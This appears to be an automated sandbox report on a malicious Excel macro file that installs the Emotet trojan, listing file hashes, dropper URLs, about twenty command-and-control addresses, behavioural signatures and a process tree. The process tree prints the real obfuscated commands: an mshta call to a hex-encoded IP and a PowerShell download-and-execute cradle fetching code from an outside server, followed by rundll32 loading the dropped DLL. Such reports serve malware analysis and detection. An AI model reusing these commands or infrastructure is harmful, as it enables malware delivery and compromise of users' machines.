Resubmissions

19-01-2022 07:33

220119-jdxdnafgg4 10

19-01-2022 07:28

220119-jay33sfhfq 10

Analysis

  • max time kernel
    152s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 07:28

General

  • Target

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm

  • Size

    114KB

  • MD5

    f8ecaf3d4168b075f418c121a763ae0f

  • SHA1

    cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3

  • SHA256

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

  • SHA512

    bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:64
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2112
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2484
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tacmnymkkasivcq\tudzi.bfk",SMtTHDWQvB
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:828
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tacmnymkkasivcq\tudzi.bfk",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3756
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1028 -s 1660
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3820

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\Documents\ssd.dll

    MD5

    887fff1f67c59bd1a47f8946e7a8a02b

    SHA1

    7605eeff4092d746c62d8fca63a2b785bc56ea4c

    SHA256

    5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

    SHA512

    d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

  • \Users\Public\Documents\ssd.dll

    MD5

    887fff1f67c59bd1a47f8946e7a8a02b

    SHA1

    7605eeff4092d746c62d8fca63a2b785bc56ea4c

    SHA256

    5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

    SHA512

    d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

  • \Users\Public\Documents\ssd.dll

    MD5

    887fff1f67c59bd1a47f8946e7a8a02b

    SHA1

    7605eeff4092d746c62d8fca63a2b785bc56ea4c

    SHA256

    5fbac6c91e83364b379e8ad4d6b9be86216a7db84fe8b2297a2b1e21e490b971

    SHA512

    d7b7a8be2b726e5de12d148a2b4b677e4e55dc43e9cde55d0edfbfad7407cf0a72871cdb8a7444df7a2c0fac734dcf5be53999c084c0f03ac31f603c0c91b2f8

  • memory/828-336-0x0000000004720000-0x0000000004748000-memory.dmp

    Filesize

    160KB

  • memory/2112-320-0x0000000004250000-0x0000000004278000-memory.dmp

    Filesize

    160KB

  • memory/2484-323-0x0000000004A00000-0x0000000004A28000-memory.dmp

    Filesize

    160KB

  • memory/2484-335-0x0000000005260000-0x0000000005288000-memory.dmp

    Filesize

    160KB

  • memory/2484-332-0x0000000005100000-0x0000000005128000-memory.dmp

    Filesize

    160KB

  • memory/2484-330-0x00000000050A0000-0x00000000050C8000-memory.dmp

    Filesize

    160KB

  • memory/2484-327-0x0000000005040000-0x0000000005068000-memory.dmp

    Filesize

    160KB

  • memory/2680-307-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

    Filesize

    384.4MB

  • memory/2680-328-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

    Filesize

    384.4MB

  • memory/2680-270-0x000002C4DC9A0000-0x000002C4DC9C2000-memory.dmp

    Filesize

    136KB

  • memory/2680-291-0x000002C4DCC60000-0x000002C4DCC9C000-memory.dmp

    Filesize

    240KB

  • memory/2680-302-0x000002C4DD170000-0x000002C4DD1E6000-memory.dmp

    Filesize

    472KB

  • memory/2680-312-0x000002C4C4860000-0x000002C4DC8C0000-memory.dmp

    Filesize

    384.4MB

  • memory/2752-117-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

    Filesize

    64KB

  • memory/2752-127-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

    Filesize

    64KB

  • memory/2752-115-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

    Filesize

    64KB

  • memory/2752-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

    Filesize

    64KB

  • memory/2752-128-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

    Filesize

    64KB

  • memory/2752-116-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

    Filesize

    64KB

  • memory/2752-129-0x00007FFB2DC70000-0x00007FFB2DC80000-memory.dmp

    Filesize

    64KB

  • memory/3756-338-0x0000000004850000-0x0000000004878000-memory.dmp

    Filesize

    160KB

  • memory/3756-342-0x0000000005030000-0x0000000005058000-memory.dmp

    Filesize

    160KB

  • memory/3756-344-0x0000000005110000-0x0000000005138000-memory.dmp

    Filesize

    160KB

  • memory/3756-346-0x0000000005200000-0x0000000005228000-memory.dmp

    Filesize

    160KB

  • memory/3756-352-0x0000000005410000-0x0000000005438000-memory.dmp

    Filesize

    160KB